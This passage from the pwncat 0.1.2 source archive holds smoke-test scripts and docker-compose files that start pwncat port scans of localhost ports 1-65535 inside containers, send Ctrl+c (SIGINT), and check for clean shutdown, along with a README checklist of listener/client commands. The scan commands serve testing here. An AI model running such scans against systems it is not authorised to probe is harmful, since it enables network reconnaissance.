'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server is not running" exit 1 fi run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" # ------------------------------------------------------------------------------------------------- # TEST # ------------------------------------------------------------------------------------------------- print_h2 "(4/5) Test" if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Kill command not successful" exit 1 fi run "sleep ${WAIT_SHUTDOWN}" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server was supposed to stop, it is running" exit 1 fi # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(5/5) Stopping Docker Compose" run "docker-compose logs" run "docker-compose ps" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" pwncat-0.1.2/tests/smoke/301---tcp---port_scan---with_banner/000077500000000000000000000000001414025024700232565ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/301---tcp---port_scan---with_banner/docker-compose.yml000066400000000000000000000005151414025024700267140ustar00rootroot00000000000000--- version: "3.3" services: ### ### (1) [TCP] [-z --banner] ### SIGINT (Ctrl+c) ### scanner: image: python:${PYTHON_VERSION}-alpine hostname: server command: python${PYTHON_VERSION} /usr/bin/pwncat -z --banner -vvvv localhost 1-65535 restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat pwncat-0.1.2/tests/smoke/301---tcp---port_scan---with_banner/run.sh000077500000000000000000000112121414025024700244160ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" COMPOSEDIR="${SCRIPTPATH}/" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- WAIT_STARTUP=7 WAIT_SHUTDOWN=15 NAME1="scanner" # ------------------------------------------------------------------------------------------------- # CHECKS # ------------------------------------------------------------------------------------------------- COMPOSE="" PYTHON_VERSION="${1:-3.8}" COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." exit 1 fi if ! command -v docker >/dev/null 2>&1; then print_error "docker binary not found, but required." exit 1 fi if ! command -v docker-compose >/dev/null 2>&1; then print_error "docker-compose binary not found, but required." exit 1 fi # ------------------------------------------------------------------------------------------------- # APPLY VERSION # ------------------------------------------------------------------------------------------------- echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" print_test_case "Python ${PYTHON_VERSION}" # ------------------------------------------------------------------------------------------------- # GET ARTIFACTS # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Get artifacts" cd "${COMPOSEDIR}" # shellcheck disable=SC2050 while [ "1" -eq "1" ]; do if run "docker-compose pull"; then break fi sleep 1 done # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Stopping Docker Compose" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" # ------------------------------------------------------------------------------------------------- # START # ------------------------------------------------------------------------------------------------- print_h2 "(2/5) Starting compose" cd "${COMPOSEDIR}" run "docker-compose up -d" run "sleep ${WAIT_STARTUP}" # ------------------------------------------------------------------------------------------------- # VALIDATE # ------------------------------------------------------------------------------------------------- print_h2 "(3/5) Validate running" if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server is not running" exit 1 fi run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" # ------------------------------------------------------------------------------------------------- # TEST # ------------------------------------------------------------------------------------------------- print_h2 "(4/5) Test" if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Kill command not successful" exit 1 fi run "sleep ${WAIT_SHUTDOWN}" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server was supposed to stop, it is running" exit 1 fi # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(5/5) Stopping Docker Compose" run "docker-compose logs" run "docker-compose ps" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" pwncat-0.1.2/tests/smoke/302---udp---port_scan---no_banner/000077500000000000000000000000001414025024700227225ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/302---udp---port_scan---no_banner/docker-compose.yml000066400000000000000000000004761414025024700263660ustar00rootroot00000000000000--- version: "3.3" services: ### ### (1) [UDP] [-z] ### SIGINT (Ctrl+c) ### scanner: image: python:${PYTHON_VERSION}-alpine hostname: server command: python${PYTHON_VERSION} /usr/bin/pwncat -z -u -vvvv localhost 1-65535 restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat pwncat-0.1.2/tests/smoke/302---udp---port_scan---no_banner/run.sh000077500000000000000000000112121414025024700240620ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" COMPOSEDIR="${SCRIPTPATH}/" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- WAIT_STARTUP=7 WAIT_SHUTDOWN=20 NAME1="scanner" # ------------------------------------------------------------------------------------------------- # CHECKS # ------------------------------------------------------------------------------------------------- COMPOSE="" PYTHON_VERSION="${1:-3.8}" COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." exit 1 fi if ! command -v docker >/dev/null 2>&1; then print_error "docker binary not found, but required." exit 1 fi if ! command -v docker-compose >/dev/null 2>&1; then print_error "docker-compose binary not found, but required." exit 1 fi # ------------------------------------------------------------------------------------------------- # APPLY VERSION # ------------------------------------------------------------------------------------------------- echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" print_test_case "Python ${PYTHON_VERSION}" # ------------------------------------------------------------------------------------------------- # GET ARTIFACTS # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Get artifacts" cd "${COMPOSEDIR}" # shellcheck disable=SC2050 while [ "1" -eq "1" ]; do if run "docker-compose pull"; then break fi sleep 1 done # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Stopping Docker Compose" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" # ------------------------------------------------------------------------------------------------- # START # ------------------------------------------------------------------------------------------------- print_h2 "(2/5) Starting compose" cd "${COMPOSEDIR}" run "docker-compose up -d" run "sleep ${WAIT_STARTUP}" # ------------------------------------------------------------------------------------------------- # VALIDATE # ------------------------------------------------------------------------------------------------- print_h2 "(3/5) Validate running" if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server is not running" exit 1 fi run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" # ------------------------------------------------------------------------------------------------- # TEST # ------------------------------------------------------------------------------------------------- print_h2 "(4/5) Test" if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Kill command not successful" exit 1 fi run "sleep ${WAIT_SHUTDOWN}" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server was supposed to stop, it is running" exit 1 fi # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(5/5) Stopping Docker Compose" run "docker-compose logs" run "docker-compose ps" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" pwncat-0.1.2/tests/smoke/303---udp---port_scan---with_banner/000077500000000000000000000000001414025024700232625ustar00rootroot00000000000000pwncat-0.1.2/tests/smoke/303---udp---port_scan---with_banner/docker-compose.yml000066400000000000000000000005201414025024700267140ustar00rootroot00000000000000--- version: "3.3" services: ### ### (1) [UDP] [-z --banner] ### SIGINT (Ctrl+c) ### scanner: image: python:${PYTHON_VERSION}-alpine hostname: server command: python${PYTHON_VERSION} /usr/bin/pwncat -z --banner -u -vvvv localhost 1-65535 restart: "no" volumes: - ../../../bin/pwncat:/usr/bin/pwncat pwncat-0.1.2/tests/smoke/303---udp---port_scan---with_banner/run.sh000077500000000000000000000112121414025024700244220ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" COMPOSEDIR="${SCRIPTPATH}/" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- WAIT_STARTUP=7 WAIT_SHUTDOWN=20 NAME1="scanner" # ------------------------------------------------------------------------------------------------- # CHECKS # ------------------------------------------------------------------------------------------------- COMPOSE="" PYTHON_VERSION="${1:-3.8}" COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." exit 1 fi if ! command -v docker >/dev/null 2>&1; then print_error "docker binary not found, but required." exit 1 fi if ! command -v docker-compose >/dev/null 2>&1; then print_error "docker-compose binary not found, but required." exit 1 fi # ------------------------------------------------------------------------------------------------- # APPLY VERSION # ------------------------------------------------------------------------------------------------- echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" print_test_case "Python ${PYTHON_VERSION}" # ------------------------------------------------------------------------------------------------- # GET ARTIFACTS # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Get artifacts" cd "${COMPOSEDIR}" # shellcheck disable=SC2050 while [ "1" -eq "1" ]; do if run "docker-compose pull"; then break fi sleep 1 done # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(1/5) Stopping Docker Compose" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" # ------------------------------------------------------------------------------------------------- # START # ------------------------------------------------------------------------------------------------- print_h2 "(2/5) Starting compose" cd "${COMPOSEDIR}" run "docker-compose up -d" run "sleep ${WAIT_STARTUP}" # ------------------------------------------------------------------------------------------------- # VALIDATE # ------------------------------------------------------------------------------------------------- print_h2 "(3/5) Validate running" if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server is not running" exit 1 fi run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" # ------------------------------------------------------------------------------------------------- # TEST # ------------------------------------------------------------------------------------------------- print_h2 "(4/5) Test" if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Kill command not successful" exit 1 fi run "sleep ${WAIT_SHUTDOWN}" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then run "docker-compose logs" run "docker-compose ps" run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" print_error "Server was supposed to stop, it is running" exit 1 fi # ------------------------------------------------------------------------------------------------- # CLEAN UP # ------------------------------------------------------------------------------------------------- print_h2 "(5/5) Stopping Docker Compose" run "docker-compose logs" run "docker-compose ps" run "docker-compose kill || true 2>/dev/null" run "docker-compose rm -f || true 2>/dev/null" pwncat-0.1.2/tests/smoke/README.md000066400000000000000000000066151414025024700165540ustar00rootroot00000000000000# Sigint (Ctrl+c) This tests the correct shutdown behaviour, simulating a user hitting Ctrl+c. **Note:** Currently the only way I was able to emulate Ctrl+c via `kill -2` for background processes was to run Docker and send the kill signal. When using `bash` on my host system and start it up via `pwncat ...&`, it is send into the background, but the job control catches `SIGINT` (`kill -2`) signals and doesn't let it through to the background process. So yeah, Docker it will be :-) ## Goal As `pwncat` makes heavy use of a lot of non-daemon threads, proper shutdown can sometimes be problematic. Some threads might end up in a blocking state and then the whole program can only be forcibly terminated with hitting Ctrl+c twice. This however is not desired as `pwncat` should always close properly. As I've fixed every shutdown bug already too many times and implemented it again, this CI smoke test will ensure I don't accidentally add new bugs to the shutdown behaviour and will also be able to discover any remaining bugs present. ## IMPORTANT Use the `Makefile` in the root directory to run the tests: ```bash make smoke ``` ## Checklist What is implemented? ### (1/4) TCP Checks Fresh start server and client for each checkbox below: ``` pwncat -vvvv -l 4444 pwncat -vvvv localhost 4444 ``` 1. [ ] (TCP) Ctrl+c on server (before sending any data) 2. [ ] (TCP) Ctrl+c on server (after sending data from server to client) 3. [ ] (TCP) Ctrl+c on server (after sending data from client to server) 4. [ ] (TCP) Ctrl+c on client (before sending any data) 5. [ ] (TCP) Ctrl+c on client (after sending data from server to client) 6. [ ] (TCP) Ctrl+c on client (after sending data from client to server) ### (2/4) UDP Checks Fresh start server and client for each checkbox below: ``` pwncat -u -vvvv -l 4444 pwncat -u -vvvv localhost 4444 ``` 1. [ ] (UDP) Ctrl+c on server (before sending any data) 2. [ ] (UDP) Ctrl+c on server (after sending data from server to client) 3. [ ] (UDP) Ctrl+c on server (after sending data from client to server) 4. [ ] (UDP) Ctrl+c on client (before sending any data) 5. [ ] (UDP) Ctrl+c on client (after sending data from server to client) 6. [ ] (UDP) Ctrl+c on client (after sending data from client to server) ### (3/4) --keep-open checks Fresh start server and client for each checkbox below: ``` pwncat -vvvv -l 4444 --keep-open pwncat -vvvv localhost 4444 ``` 1. [X] (TCP) Ctrl+c on server (before sending any data) 2. [X] (TCP) Ctrl+c on server (after sending data from server to client) 3. [ ] (TCP) Ctrl+c on server (after sending data from client to server) 4. [ ] (TCP) Ctrl+c on client (before sending any data) 5. [ ] (TCP) Ctrl+c on client (after sending data from server to client) 6. [ ] (TCP) Ctrl+c on client (after sending data from client to server) ### (4/4) --reconn checks Fresh start server and client for each checkbox below: ``` pwncat -vvvv -l 4444 pwncat -vvvv localhost 4444 --reconn ``` 1. [ ] (TCP) Ctrl+c on server (before sending any data) 2. [ ] (TCP) Ctrl+c on server (after sending data from server to client) 3. [ ] (TCP) Ctrl+c on server (after sending data from client to server) 4. [ ] (TCP) Ctrl+c on client (before sending any data) 5. [ ] (TCP) Ctrl+c on client (after sending data from server to client) 6. [ ] (TCP) Ctrl+c on client (after sending data from client to server) pwncat-0.1.2/tests/smoke/run.sh000077500000000000000000000023411414025024700164300ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../.lib/conf.sh" COMPOSEDIR="${SCRIPTPATH}/" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # SETTINGS # ------------------------------------------------------------------------------------------------- WAIT_STARTUP=6 WAIT_SHUTDOWN=6 # ------------------------------------------------------------------------------------------------- # FUNCTIONS # ------------------------------------------------------------------------------------------------- print_usage() { echo "${0} [PYTHON-VERSION]" echo "Valid dirs:" echo find "${SCRIPTPATH}" -type d -exec basename {} \; | grep -E '^[0-9].*' | sort } # ------------------------------------------------------------------------------------------------- # CHECKS # ------------------------------------------------------------------------------------------------- if [ "${#}" -lt "1" ]; then print_usage exit 1 fi TEST_NAME="${1}" PYTHON_VERSION="${2:-3.8}" TEST_START="${SCRIPTPATH}/${TEST_NAME}/run.sh" "${TEST_START}" "${PYTHON_VERSION}"